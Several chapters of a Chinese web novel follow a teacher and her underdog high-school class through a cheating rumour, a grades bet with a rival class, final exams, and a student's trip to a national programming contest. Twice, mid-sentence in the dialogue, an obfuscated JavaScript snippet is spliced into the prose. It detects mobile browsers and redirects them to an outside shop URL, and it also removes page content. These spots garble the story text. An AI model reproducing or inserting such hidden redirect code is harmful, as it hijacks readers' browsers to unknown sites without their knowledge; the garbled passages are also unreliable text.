“徐老师,谢谢你,”她深吸一口气,压下那股酸涩,起身走到徐嘉禾面前,“谢谢你相信我们。” 徐嘉禾抬手,轻轻揽住了谢昭的肩。 “你傻啊,”她说,“我从来就没有怀疑过你们。” 谢昭的眼泪终于忍不住掉了下来。 周一升旗仪式上,胡丽华当着全校师生的面,为五班正了名。 “经过调查和重考,证实五班同学期中考试的成绩是真实有效的,”她站在主席台上,声音通过喇叭传遍整个操场,“之前关于五班作弊的传言,纯属谣言。” “在这里,我代表学校,向五班全体同学道歉;同时,对高二五班同学近期在学习上的努力提出表扬。” 胡丽华念完最后一句,顿了顿,又加了一句:“希望全体师生尊重事实,不信谣、不传谣,共同维护良好的校园风气。” 徐嘉禾站在五班的队伍旁边,余光扫见三班的队伍里,李秀琴的脸色青一阵白一阵。 周文瑞憋着笑,小声对旁边的谢昭说:“听见没?不信谣、不传谣。” “闭嘴,”谢昭面无表情,嘴角却忍不住上扬,“站好。” 散会后,李秀琴走过来,皮笑肉不笑地说:“徐老师,恭喜啊,你们班这次可真是打响名号了,是吧?” 徐嘉禾笑了笑:“谢谢李老师,不过也不是我们本意想出这么大的风头,也不知道是谁给了我们这么一个好机会,我还真得谢谢他呢。” 李秀琴脸色变了变,没再说什么,转身走了。 徐嘉禾看着她的背影,笑着摇了摇头,转身向五班的队伍走去。 她本以为李秀琴差不多也就该消停了,却没想到,更大的风波还在后面。 32. 第 32 章 徐嘉禾本以为,李秀琴这样在升旗仪式上吃了瘪,差不多也应该消停了。 毕竟谣言已经被澄清了,胡丽华还代表学校向五班公开道了歉,无论是面子和里子都给足了,李秀琴就算想蹦哒也翻不出什么花样来。 但她低估了某些人的执着程度。 起因是体育课,五班和三班的体育课安排在同一节,偌大的操场经常只有他们两个班,也正因此两个班交流也就渐渐多了起来,只不过都对对方没什么好脸色。 这天体育老师组织着打球,五班赢了三班,三班几个男生不服气,嚷嚷着要再打一场,周文瑞二话不说当即应战,结果第二场又是五班赢了。 这下三班学生面子挂不住了,几人爆发了相当猛烈的争执。 三班一个男生站出来,假意劝说自己气急败坏的同伴,一边却阴阳怪气地斜瞟周文瑞:“别吵了,我们班可跟某些班不一样,我们赢的是人品。” 这话周文瑞可听不下去,当即呛了回去:“谁输人品了?” “谁承认说谁呗,”男生笑道,“我可没说你们班人品不好,你怎么自己承认了?难不成自己也知道作弊得的成绩不光彩吗?” “都说了是造谣了,你说这种话有什么意思?”周文瑞瞪着他,“不是已经重考过了?” “那谁知道重考会不会给你们泄过题啊?”男生摇了摇手指,“期末是全市统考,要是期末考试你们还能再拿到原题,那你们才厉害呢。” “我们本来就没有作弊,又何来拿到原题的说法,”周文瑞这下是真急了,“期末考试就期末考试,要是期末考试我们还考得好,那你怎么说?” 这话一出口,两边突然都安静了。 “行啊,”男生和自己的同伴对视一眼,露出一个笑容,“那我们来比比敢不敢?期末考试成绩,你们班如果没能超过我们班,那就请我们全班吃冰棍。” “超过你们?”周文瑞愣了一下。 “是啊,比平均分,”男生笑得更灿烂了,“怎么,不敢?” 周文瑞脸涨红了,他刚才只是一时急了,根本没想过真要跟三班比。三班作为上位圈的几个班级之一,虽说半期考试考砸了只比他们高一个名次,但多的这一个名次那就是好几十分的差距,五班拿什么去比? 可狠话都放出去了,同学们都在旁边一脸愤慨和期冀地看着他,要是承认自己害怕了,都不用等到期末了,他当即就能带着五班一起颜面扫地。 “比就比,”周文瑞硬着头皮说,“那我们赢了呢?你怎么说?” “你们赢了,就我们请你们吃,顺便我再给你们道歉,怎么样?够意思吧?”男生满意地挥了挥手,“那么,就这么说定咯?” 他说罢,也没管周围人脸色有多难看,招呼着一群人扬长而去。 周文瑞站在原地,脸色煞白。 “完了完了,”他喃喃道,“我这是一个人把咱们全班都给卖了啊……” 体育课谢昭没去,逃课在教室写作业。她一抬头,就见周文瑞跟丢了魂似的,哭丧着脸站在她座位前。 “昭姐,我错了,”周文瑞把事情一五一十地说了,一边说一边还偷偷掀起眼皮观察谢昭的反应。他见谢昭脸上一点表情也没有,只好老老实实低着头,一副认打认罚的样子,“你骂我吧。” 谢昭深吸一口气,放下练习册,抬眼看他:“赌注是什么?” “啊?”周文瑞愣了愣,“赌注倒不大……就是请客吃冰棍而已,如果他们输了还要给我们道歉。这点钱我自己出就是,只是要让我们班丢人了……” “那无所谓,”谢昭挑眉,“我还以为多大的事呢,这赌注还行。” 周文瑞懵了:“昭姐,你不生气?” “生气有用吗?话都放出去了,难不成我们还真认怂啊。”谢昭摇了摇头,“对面还挺良心,就要根冰棍,我们一期班刊卖的钱够他们买十根了。” “但昭姐,咱真能考得过他们吗……” “还没考呢,就害怕考不过了?”谢昭看他。 周文瑞噎住了。 “昭姐,不是害怕,真是差距太大了,”几个同学也听说了周文瑞和三班打赌的事情,这会儿在旁边围着听,吕晓杨小声道,“差三四十分呢,这怎么提啊。” 谢昭没有说话,转身看向窗外。 “徐湛呢?”她忽然问。 “多半在机房呢吧,”周文瑞想了想,说,“他好像说暑假就要有那个什么比赛了,这几天一有空就往机房跑,一分钟都不多歇的。” 谢昭点了点头,抬脚往外走。 “昭姐你去哪儿?”吕晓杨在她后面喊了一声。 “机房。”谢昭头也不回。 机房的门虚掩着,徐湛正坐在电脑前,全神贯注地盯着屏幕,连谢昭推门进去,他都完全没有发现。 要是徐嘉禾在这里,看到徐湛屏幕上显示的东西,应该会无比惊讶。毕竟徐湛作为一个接触编程不久的高中生,居然在1992年自己手搓出了一个3D游戏,这放在什么时候都相当不寻常,这个程序要是拿出去卖给公司,是可能导致匹夫无罪、怀璧其罪的程度。 不过谢昭对电子游戏没什么兴趣,也没什么概念,她看着徐湛搞出来的游戏,只觉得颇为新奇,倒也没什么别的想法。此刻,她在徐湛身边站了好一会儿,徐湛才反应过来。 “谢昭?”徐湛摘下耳机,眼睛亮亮地看着她,“你怎么来了?” “有事找你商量。”谢昭笑了笑,拉过椅子坐下,把事情一五一十地说了。 “你要我做什么?”徐湛听完,沉默了片刻,问。 “我也没想好该怎么办,”谢昭叹了口气,“你觉得我们能赢得过他们吗?” “说实话,”徐湛想了想,“有点难,但如果每个人都拼命学,也许会有机会。” “也许?”谢昭看着他。 机房窗外,阳光透过玻璃窗洒进来,在两人脚下投下碎金般的光点。 “也许,”徐湛诚实地说,“我没有什么把握,但如果我们从现在开始每天都多学一点时间,到期中还有两个月,平均分追二十来分,每个人要……” 他一边说,一边掰着手指算时间。 “不用纠结那么细枝末节,”谢昭说,“你就说,觉得有可能吗?” “有可能。” 谢昭笑了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232631|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就够了。” 从机房回教室,谢昭组织着全班同学开了个小会。 她站在讲台上,看着底下七嘴八舌、嗡嗡聊天的同学们,忽然能够理解徐嘉禾站在这里时到底是什么感受了。 “安静。”她说。 底下渐渐安静下来。 谢昭清了清嗓子,开口道:“事情你们应该都听说了吧?” “周文瑞嘴快,和三班打了赌,说我们要在期末考试里赢过他们班,各位有信心吗?” “昭姐,我感觉这不是有不有信心的问题啊,”有人问,“我们再有信心,也没办法保证赢得过三班啊。” “那怎么办?”谢昭反问,“难不成我们当时和三班说,我们觉得考不过你们,就不比了?” 没人说话。 “三班跟我们打这个赌,是因为他们看不起我们,这不是一天两天了,”谢昭提高了声音,“但我不信这个邪,我觉得,咱们不比任何人差。” 教室里安静得落针可闻。 李秀琴听说了这事,把为首的男生叫去办公室批评了一通,又专门来找徐嘉禾道歉。 “徐老师,真是不好意思,我们班学生太不懂事了,”李秀琴一脸歉意,“这样多伤害同学之间的感情啊,我已经批评过他们了,回头我再让学生去给你们班的孩子道歉。” 徐嘉禾一开始还不知道这件事,听李秀琴说完才了解了个大致的前因后果,笑了笑:“没事,孩子们闹着玩罢了,不用这么认真地上纲上线。” 李秀琴走了后,许晴也凑了过来,一脸八卦:“你信她的说法吗?” 徐嘉禾挑眉:“怎么说?” “她表面上这么说,背地里指不定怎么想呢,”许晴压低声音,“他们班同学没她默许,真敢这么挑衅你们?” “没办法,”徐嘉禾笑着摇了摇头,“树欲静而风不止啊。” 从那天起,五班的学习氛围变得更加疯狂了。 谢昭把自己的起床时间从五点四十提前到了五点。每天天还没亮,她就出门了,到学校的时候,门卫大爷正睡眼惺忪准备开门。 周文瑞也不成天嚷嚷着累了,每天最早到教室的人里一定有他一个;吕晓杨字写得工整,就整理了厚厚几大本笔记和难题集,班里谁需要都可以借去看。 徐湛更是拼命,他一边准备他的信息技术竞赛,一边帮同学们补课。有时候谢昭看他熬得眼睛都红了,让他去休息,他就嗯嗯啊啊地应付过去,然后一讲又是半小时。 班里其他学生也学得不知天地为何物,课间没人出去玩,都在座位上做题。午休时间也不再自由活动,一群人赶着赶着吃完饭,回来就立马接着学。放学后全班更是自觉地留下来,在教室里自习到天黑。 六月中旬,期末考试倒计时两周,五班的氛围越发紧张起来。就连平时最吊儿郎当的几个男生,也开始抱着课本啃。谢昭每天五点起床,十一点睡觉,除了吃饭睡觉上厕所,其余时间全用来学习。 周文瑞被她卷得不行,揉着眼睛趴在桌上哀嚎:“昭姐,你就不能歇会儿吗?你这样让我很焦虑啊!” “焦虑就去学习,”谢昭头也不抬,“别在这嚎。” 33. 第 33 章 期末考试早上五点,天还黑着,徐嘉禾却因为心慌意乱、早早的醒了。 她翻来覆去,半天没睡着,想着反正醒了在床上坐着也没别的事干,索性骑着自行车往学校走去。 门卫大爷打着哈欠给她开门,嘟囔道:“徐老师,你们班学生是不是都疯了?我刚刚还以为自己老眼昏花了,仔细一看才发现你们班好几个孩子从后山那里翻墙进来的。” 徐嘉禾:“……?” 徐嘉禾虽然有些疑惑,心下却也有了计较,抬步往教室里走去。 教室里只开了一列的灯,谢昭正坐在座位上背单词;周文瑞手里捧着政治书,脑袋一点一点地往下栽,吕晓杨和几个女生围成一圈,小声讨论着数学题。 徐嘉禾在门口站了足足五分钟,周文瑞才挣扎着抬起头。他眼睛里布满血丝,头发乱得像鸡窝,看了徐嘉禾一眼,哑着嗓子说:“徐老师,你挡我光了。” 徐嘉禾看着跟鬼似的周文瑞,忍不住咋舌,她后退一步举手做投降状:“你们继续、你们继续,我就不打扰你们了。” 她转身往门口走,走到一半又回头说:“不过,谁要是把自己累病了,虽然会享受到班主任亲自送医院的服务,但到时候落下的课,可没人给补哦。” 教室里响起几声轻笑,但还是没人抬头。 徐嘉禾摇了摇头,走出教室,轻轻带上门。 许晴到的时候,就见徐嘉禾坐在五班门外的椅子上,一副世界观重塑了的样子,疑惑地问:“你怎么了?” “我们班学生疯了。”徐嘉禾说。 许晴没明白,她八卦心起,跑去五班探头往里看了一眼,倒吸一口冷气:“我的天,你们班这是在干什么?” “学习。”徐嘉禾直言不讳。 “学习学到这种程度?我感觉他们一群人下一秒就要猝死了,”许晴难以置信,“你是不是给他们下兴奋剂了?” 徐嘉禾白她一眼:“我是那种人吗?” 上午时,学生们大多都在考试,徐嘉禾没有被安排监考,就在办公室忙自己的事情,忽然听到桌上的电话响了。 她连忙接起来,只听对面语气客气而正式:“请问是锦大附中的徐嘉禾老师吗?关于徐湛同学参加全国中学生信息技术竞赛的事,有几个情况需要和你确认一下。” 徐嘉禾微微一愣,她知道徐湛这段时间拼命在准备比赛,但省赛的结果却一直没有消息。她也不敢问,怕给徐湛压力,只能每天看着他在机房熬得眼睛通红,心里既欣慰又心疼。 “徐湛同学在省赛中得了奖,”电话那头说,“他将代表本省参加八月份在首都举行的全国总决赛。我们需要确认一下,学生本人和家长对此是否支持,以及是否有老师陪同前往。” 徐嘉禾愣了三秒,然后差点从座位上摔下去。 “支持!当然支持!”她颤颤巍巍地一拍桌子,喊道,引来办公室里好几个老师侧目,“我是他的班主任,我可以陪同;如果我不行,他还有竞赛教练……” 午休时,五班的学生们却一个没睡,都在埋头苦读,窗外的蝉鸣一声比一声高,六月的太阳毒辣,照进教室晒得人手臂发疼。 谢昭坐在教室里,手里的笔没停过,她面前的草稿纸上画满了辅助线和演算过程。 “昭姐,吃饭了。”周文瑞端着两个饭盒进来,把一个放在她桌上。 “谢谢,”谢昭头也不抬,“我等会儿再吃。” “你上顿饭也说等会儿,等到最后凉透了才吃,”周文瑞没好气地说,不由分说把她的笔抽走,“快吃,吃完再写,徐湛说的,饿着肚子学习效率低。” 谢昭愣了愣,抬头看他,周文瑞一脸理直气壮。 她叹了口气,再想说什么话都通通咽了回去。谢昭接过饭盒,打开一看,红烧肉、炒青菜,还有一个荷包蛋。 “这真是食堂打的?”谢昭疑惑。 别说这几个菜在食堂常不常见了,就这副色香味俱全的模样,谢昭都很难相信是学校食堂做得出来的。 “我爸来看我的时候带的,给你们几个也带了,”周文瑞嘿嘿一笑,“正好尝尝我爸的手艺。徐湛那份我已经送机房去了,吕晓杨的在桌上。” 谢昭说了声替我谢谢叔叔,就开始欢快地低头扒饭。只不过,她还没吃几口,就忽然问:“周文瑞,你说咱到底能赢吗?” 周文瑞愣了一下,随即嬉皮笑脸:“赢不赢的,尽力了就行呗。反正我这辈子还没这么努力过呢,还挺有成就感的,输了也不亏。” 谢昭没说话,只是心事重重地点了点头,吃饭的速度却慢了下来。 “昭姐,”周文瑞难得正经起来,“你最近是不是压力太大了?” “没有。”谢昭立马否认。 但她知道,周文瑞其实说得再对不过,她确实有压力,而且不小。 这两个月,她把自己逼得太紧了,每天除了学习还是学习,身体都熬得比以前虚了不少。 谢昭知道,这条路是她自己选的,没有人逼她,可她就是停不下来。 因为她害怕。 害怕努力了还是输,于是只能拼尽全力,努力避免输的结局。 她从来没有这么害怕过一件事。 徐嘉禾推开门时,教室里五班学生们正在午自习。谢昭低着头在算数学题,周文瑞趴在桌上睡得口水横流,徐湛在靠窗的位置全神贯注地看书,嘴里还在碎碎念。 她走进教室,有几个学生抬头看向她,徐嘉禾没理会那些好奇的眼神,径直走到徐湛桌前。 徐湛抬起头,茫然地看着她。 “徐湛,”徐嘉禾深吸一口气,努力让自己的声音听起来平静一点,“你省赛一等奖,要去首都参加国赛了。” 教室里安静了三秒,然后炸开了锅。 周文瑞从睡梦中惊醒,差点从椅子上摔下去:“什么什么?徐湛要去首都了?” 谢昭放下笔,愣愣地看着徐湛。 窗外的阳光洒在徐湛身上,勾勒出少年清瘦的轮廓,他微微睁大了眼睛,像是没反应过来发生了什么。 “徐湛,”谢昭轻轻喊了一声他的名字,“你听到了吗?” 徐湛这才回过神来,他抬头盯着徐嘉禾好半天,嘴唇动了动,最后只吐出两个字:“真的?” “真的。”徐嘉禾笑了,“省教育厅刚打的电话,你要代表咱们省去北京参加全国总决赛了。” 徐湛沉默了好久,他最后低下头,把脸埋进了掌心里,谢昭从后面看见他的肩膀在微微发抖。 她张了张嘴,想说点什么,又不知道该说什么,最后只是伸出手,轻轻拍了拍徐湛的后背。 “挺好的,”她说,“挺好的。” 下午的考试结束时,谢昭在走廊上拦下了抱着试卷的徐嘉禾:“徐老师,我有话想和你聊……” “可以啊,”徐嘉禾有些懵,却还是笑着回应道,“等我先把卷子抱到教务处去。” 谢昭点了点头,默默跟在徐嘉禾身后往教务处走去。 “说吧,”徐嘉禾放了试卷,和谢昭一起往校门口走去,“这是遇到什么事了?” “徐老师,我很担心,”谢昭抿了抿唇,还是说出了缠绕在心里的隐忧,“我害怕这次会输。” “原来是这样,”徐嘉禾想了想,“谢昭,我问你。” “如果这次期末考试,我们班平均分真的比三班低,你觉得你这半个学期的努力是有价值的吗?” 谢昭张了张嘴,一时语塞。 她想回答没有价值,但她也很清楚,这显然不会是徐嘉禾想要的答案。 这两个月,她谢昭脑子里只有一个念头,就是要赢。 她逼着自己每天只睡五六个小时,逼着自己在所有人都撑不住的时候继续努力下去,逼着自己在每一次想要放弃的时候咬牙坚持。 可她从来没想过,如果最后还是输了呢?这一段时光还有它的意义吗? “谢昭,”徐嘉禾看着她,“你们这两个月的努力,我都看在眼里,不管期末考试结果如何,你们已经赢了。” “赢了?”谢昭苦笑,“可是如果输了赌约,所有人都会笑话我们。” “然后呢?” “然后……”谢昭语塞。 “然后你们就再次变得一无是处了?”徐嘉禾摇了摇头,“不会的,你们学到的知识不会消失、养成的习惯不会消失。这次赌约的输赢与否,决定不了任何事情,自然也决定不了你们是谁。” 她站起身,走到谢昭面前,轻轻按住她的肩膀。 “在我小的时候,我听我妈妈讲过一个故事。” “有两个人在森林里遇到了熊,一个人撒腿就跑,另一个人说,你别跑了,你是跑不过熊的。逃跑的那人说,我知道,但我不用跑过熊,我只要跑过你就行了。” 谢昭愣了愣,没听明白她什么意思。 “三班就是那只熊,”徐嘉禾笑了笑,“你们要跑过的,不是三班,是两个月前的自己。因为只要跑过了两个月前的自己,那么无论是这次、还是之后甚至是高考,你们都不再会被那么轻易地吃掉了。” 期末考试成绩出来那天,锦宁下了一场暴雨。 徐嘉禾撑着伞站在教学楼门口,看着瓢泼的大雨出神。走廊里人来人往,学生们的脚步声、谈笑声纷繁复杂,但她什么都听不进去,满脑子都是那个刚刚从教务处打听到的数字。 一点五分。 五班平均分比三班低了一点五分。 她闭上眼睛,长长地叹了一口气。 “徐嘉禾?”许晴的声音从身后传来,紧接着是一阵急促的脚步声,“你站这儿干嘛?想心事呢?” 徐嘉禾回过头,许晴已经冲到她的伞下,挽住她的胳膊。 “怎么样?”许晴压低声音,“我听说成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236545|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绩出来了,你们班……” “比三班低一点五分。”徐嘉禾说。 许晴的表情僵住了。 “你们班比三班低?”她难以置信地重复了一遍,“还只低……一点五?” “嗯。” “那你们班……进步了多少?” 徐嘉禾沉默了一会儿,勉强笑了笑:“比期中考试平均分高了三十四分。” 许晴倒吸一口冷气,用力给徐嘉禾来了一巴掌:“那你摆出这么一副愁眉苦脸干什么!三十四分!你们班这是要逆天啊!” “我没愁眉苦脸,”徐嘉禾揉了揉被拍疼的肩膀,无奈道,“我只是在想,待会儿怎么跟那群孩子说。” “怎么说?直接说啊,”许晴理所当然地道,“你们班进步那么大,这是天大的好事,那一点五分算个屁啊。他们要是因为这个哭,那就是脑子有问题、丢死人了。” 徐嘉禾被她的直白逗笑了,点点头:“你说得对。” 散学典礼在大礼堂举行,礼堂里已经坐满了学生,叽叽喳喳的说话声响成一片。 五班的座位在左侧靠后的位置,谢昭难得这么认真地等着听老师讲话,眼睛一眨不眨地盯着台上。 周文瑞在她旁边坐立不安,扭头往门口的方向看。 “昭姐,”他压低声音,“你说徐老师怎么还没来?” “可能有事。”谢昭目不斜视。 “你说咱们考得怎么样?” 谢昭终于转过头,看了他一眼,周文瑞被看得一个激灵,讪讪地缩了缩脖子:“好好好,我不问了,不问了。” 他的话音刚落,礼堂台上亮起几盏灯,李校长和胡丽华等学校领导鱼贯上台,在主席台上依次落座。 全场渐渐安静下来。 李校长清了清嗓子,开始了他每年散学典礼都会讲的、又臭又长的开场白。无非是一个学期结束了,感谢老师们的辛勤付出,恭喜同学们取得的进步,希望大家过一个安全有意义的暑假之类。 周文瑞的脑袋一点一点往下栽,眼看着就要磕到前排椅背上,忽然被一阵突如其来的掌声惊醒了。 “下面宣布期末考试各年级平均分排名,”台上讲话的人不知什么时候换成了胡丽华,她低头看着手中的表格,“高一年级,二班、十一班、六班;高二年级,一班、三班、五班……” “五班?我没听错吧?”周文瑞这下一点也不困了,他疯狂摇着身边的谢昭,尖叫,“意思就是说,我们班考了年级第三?” “其中,”胡丽华看向左侧靠后的那个位置,笑道,“我们还要特别表扬高二五班。” 全校师生原本在鼓掌,掌声忽然停了几秒,随即爆发出热烈的议论声。 “五班?高二五班?” “不是垫底的班吗?” “你忘了?半期考试他们就考得不错,还被污蔑作弊来着,后来重考证明清白了。” “那也不至于要单独表扬吧?” 胡丽华似乎预料到了台下的反应,她微微一笑,提高声音:“五班本学期平均分比上学期提高一百多分。其中,谢昭同学总分进步二百一十多分,周文瑞同学进步一百七十多分,吕晓杨同学进入年级前五十名……” 每念一个名字,台下就响起一阵抽气声。 “不过有点可惜,”吕晓杨叹了口气,说,“我们还是比三班低一点五。” “嗨,一点五分算什么啊,”周文瑞豪气地一挥手,“我们这次可出尽风头了,被表扬比赢过三班重要多啦。” 他说着,还站起身,冲那边脸色难看的三班喊:“喂,三班的,我们还得谢谢你们鼓励我们呢——冰棍我一个人给你们请啦,一人五根随便选——” 李秀琴的脸色青一阵白一阵,比吃了苍蝇还难看。 她本想着三班虽然半期考砸了,但瘦死的骆驼比马大,五班再怎么折腾也不可能超过他们。 结果五班确实没超过三班,但他们成了年级第三,和他们还只差一点五分。 更让她难堪的是,散学典礼结束后,胡丽华专门把她叫过去,当着几个老师的面说:“李老师,你们班和五班的差距越来越小了,下学期要加油啊。学生之间良性竞争是好事,但老师之间,还是要互相帮助、共同进步的。” 这话说得委婉,但意思谁都能听懂。 李秀琴咬着后槽牙挤出一个笑:“胡校长说得对,我记住了。” 她转身离开时,正好撞见徐嘉禾从旁边经过。徐嘉禾冲她点了点头,客气地说:“李老师,下学期多多交流。” 李秀琴的脸色更黑了。 徐嘉禾倒是真没想嘲讽她,她是真心觉得,五班能有今天,固然离不开学生们的努力,但如果没有那些质疑和压力,或许也不会激发他们这么大的斗志。 某种程度上,正如周文瑞她还得谢谢李秀琴。 当然,这话不能说出口。 34. 第 34 章 火车站的大钟指向十点时,伴随着一阵悠长的汽笛声,绿皮火车缓缓驶入了站台。 徐嘉禾提着行李往月台走去,站在站台上眯起眼睛看天,谢昭和徐湛则拎着自己的大包小包,跟在她身后。 徐嘉禾原本的计划是,她和徐湛两个人去北京,徐湛比赛,她当保姆兼监护人;而在高三这么重要的时刻,谢昭自然是要好好留在锦宁复习功课,而不是跟着他们瞎掺和。 结果谢昭不知道从哪儿搬出来一套说辞,堵得徐嘉禾是哑口无言。 “徐老师,你说读书是为了让人看到更大的世界,”谢昭背着手,一本正经地站在徐嘉禾面前,“首都就是最大的世界,你不让我去看,我怎么开阔眼界?” “等你高考完再去也不迟。” “恰恰相反,高考完就晚了,”谢昭振振有词,“我现在去看了,回来更有动力学习嘛。” 徐嘉禾张了张嘴,发现谢昭说的好像还真的有那么点道理。 “再说了,”谢昭放低声音,一副神秘兮兮的样子,“徐湛一个人去比赛,到了首都万一被人欺负了怎么办?” “第一,谁说他是一个人了,你当我是死的么?”徐嘉禾说,“第二,我觉得你其实可以放心,北京的混混应该看不上他。” 谢昭:“……” “万一呢?不怕一万,就怕万一啊,”谢昭锲而不舍,“他那个性格,被人卖了都还在帮人数钱,我得照顾他。” 徐嘉禾狐疑地看着她:“你照顾他?你俩到底谁照顾谁?” 谢昭沉默了半天,瞪了徐嘉禾一眼,恼羞成怒:“你到底带不带我去?” 最后当然还是徐嘉禾妥协了。 一来谢昭的成绩确实进步很大,家长那边也松了口,说孩子出去见世面也好;二来,徐嘉禾也觉得让谢昭去一趟首都未必是坏事。 至于第三…… 徐嘉禾看着谢昭那副不达目的誓不罢休的架势,深刻怀疑自己要是再拒绝,她能在锦宁一天给她扎十个小纸人。 反正来回路费什么的,胡丽华都大手一挥说学校统统报销,不去白不去了。 七月中旬的绿皮火车,没有空调,虽然车窗可以打开,但开窗进来的风夹杂着煤灰和热气,不开窗又闷得像蒸笼。车厢里挤满了人,过道里站着坐着的都有,空气里混杂着泡面味、汗味,总之就是一股让人难以忍受的人味。 谢昭上车前还兴高采烈,嚷嚷着要看沿途的风景,结果车开了不到两个小时,整个人就蔫了下来。她靠在座位上,发丝被汗黏在额头上,脸色发白,嘴唇也没了血色。 “晕车了?”徐嘉禾递过去一个塑料袋。 谢昭摇摇头,又点点头,接过塑料袋抱在怀里,没说话。 徐湛坐在她旁边,从包里翻出一盒清凉油,拧开盖子,动作很轻地往谢昭太阳穴上轻轻抹了一点。 谢昭闭着眼,没躲。 徐嘉禾看着这一幕,默默把头转向窗外。 看吧,她早就说了,只有徐湛伺候谢昭的份儿。 “徐老师,”过了好一会儿,谢昭才缓过劲来,有气无力地问,“首都什么样?” “没去过呀?”徐嘉禾问。 谢昭点头。 她岂止是没去过北京,她压根就没从锦宁这一片离开过。 “那你这十几天可有的新鲜了,”徐嘉禾笑道,“看故宫爬长城,首都好玩的多着呢,够你兴奋一阵子的。” 谢昭好奇地看着她:“徐老师,那你去过首都吗?” 徐嘉禾愣了一下。 她当然去过,作为师大的学生,她在那里生活了四年。 可她熟悉的是另一个时空的首都,是三十多年后的首都。 “去过,”她说,“很多年前去过,等比赛结束了,我带你们去吃首都的好吃的。” 二十多个小时后,火车缓缓驶进了首都站。 徐嘉禾在迷蒙之中听到了报站声,她从铺位上坐起来,揉了揉酸痛的脖子,往窗外看去。 晨光熹微中,一座巨大的城市正在慢慢苏醒,高楼大厦,宽阔的街道,川流不息的车辆,首都的一切对谢昭和徐湛来说都是新鲜的。 “到了。”她轻声说。 谢昭和徐湛从铺位上爬起来,挤到窗边往外看。两个人瞪大眼睛,张着嘴半天说不出话。 “好大。”谢昭呆了半天,才吐出这么一句。 “好多楼。”徐湛补充。 徐嘉禾忍不住笑了:“走吧,下车。” 出站的时候,谢昭几乎是一步三回头,看什么都觉得新鲜。车站里人来人往,穿着时髦的年轻人,拎着公文包的上班族,还有推着小车卖东西的小贩。 “首都好热闹。”她小声对徐湛说。 徐湛点点头,目光却落在远处的一个广告牌上。那是一个计算机公司的广告,画面上是一台最新款的电脑,下面写着几个大字:“计算机——未来的语言。” 他的眼睛亮了一下。 徐嘉禾顺着他的目光看过去,心里一动。 “走吧,先去报到,”她说,“比赛在后天,今天和明天可以到处逛逛。” 比赛地点在徐嘉禾的母校,准确的说是三十年后的母校。组委会安排了住宿。三人找到报到点,办好手续,领了参赛证和资料,被安排住进了学生宿舍。 谢昭和徐嘉禾住一间,徐湛和另一个参赛选手住隔壁,等一切都安顿好后,已经是下午四五点了。 “饿不饿?”徐嘉禾问,“出去吃点东西?” 谢昭随意地点点头,眼睛却一直盯着徐湛手里那本参赛手册。 “我看看,”她伸手拿过来,翻开一看,倒吸一口冷气,“这么多人?” 手册上印着参赛选手的名单,密密麻麻好几页,来自全国各地的学校,大多都是经济发达地区,连锦宁混在其中都显得有些落后了。 徐湛凑过来看了一眼,没说话,只是抿紧了唇。 “没事,”谢昭合上手册,拍了拍他的肩膀,“人再多也是来比赛的,谁赢还不一定呢。” 比赛当天,天气晴好。 考场门口已经挤满了人,参赛选手们三三两两地站着。徐湛安安静静地站在人群里,只简单地背着一个旧书包,和周围那些穿着时髦、装备精良的选手们比起来,都显得有些格格不入了。 谢昭站在他旁边,替他挡着太阳,什么也没说。 “你是徐湛吗?” 一个声音从身后传来,徐湛回头,看见一个穿着白色T恤的男生正朝他走过来。男生戴着一副金丝边眼镜,皮肤白皙,气质温润,一看就是那种从小养尊处优的、大城市的孩子。 “你是锦宁来的吧?”男生笑着问,“我在名单上看到了你的照片。” 徐湛点点头:“你是?” “我叫覃远,首都的,”男生伸出手,“认识一下?” 徐湛愣了一下,然后伸手和他握住。 “我看你是你们省第一啊,”覃远问,“你学多久了?我从初中开始学编程,我爸是计算机系的教授。” 徐湛抿了抿唇:“我……学了不到一年。” 覃远微微睁大眼睛,随即笑了:“学了不到一年的人也能进国赛?那你还挺厉害的嘛。” 这话听着像是夸奖,可语气里却带着一丝若有若无的优越感。 他看了徐湛后面已经皱起眉的谢昭一眼,眼神里闪过一丝好奇,但也没再说什么,只是冲徐湛摆了摆手:“比赛加油,等会儿见。” 比赛开始后,徐嘉禾和谢昭被请出了考场,只能在楼外等着。 太阳越来越烈,两人找了个树荫下的长凳坐下,谁也不说话。 谢昭盯着那栋实验楼,手指紧紧攥着,指节有些发白。 “紧张吗?”徐嘉禾问。 “又不是我比赛,”谢昭嘴硬,“我紧张什么。” 徐嘉禾笑了笑,没戳穿她。 时间一分一秒地过去,太阳从东边移到头顶,又从头顶开始往西偏,谢昭简直是坐立不安,站起来走上两步又坐下,眼睛却一眨不眨地盯着那扇门。 终于,在下午四点的时候,楼里开始有人走出来,有人兴奋地讨论着题目,有人垂头丧气一语不发。 两人的目光在人群里急切地搜索,终于看见了那个熟悉的身影。 徐湛是低着头的那一批人,他抿着唇、垂头丧气地慢慢往外走。 徐嘉禾的心沉了一沉。 谢昭先反应过来,她快步迎上去,把买好的冰棍递过去,“怎么样?” “不知道。”徐湛接过冰棍,咬了一口,极轻微地叹了口气,“题太难了,好多不会做。” 谢昭张了张嘴,想说点什么安慰的话,但又不知道该怎么开口。 “没事,”最后她说,“能来参加就很厉害了。” 谢昭是真的这么认为的,毕竟能进国赛本身就不容易,拿不拿奖对她来说倒不是很重要。 但徐湛只是低着头吃冰棍,没接话,就连回宿舍的一路上,他也一句话都没说。 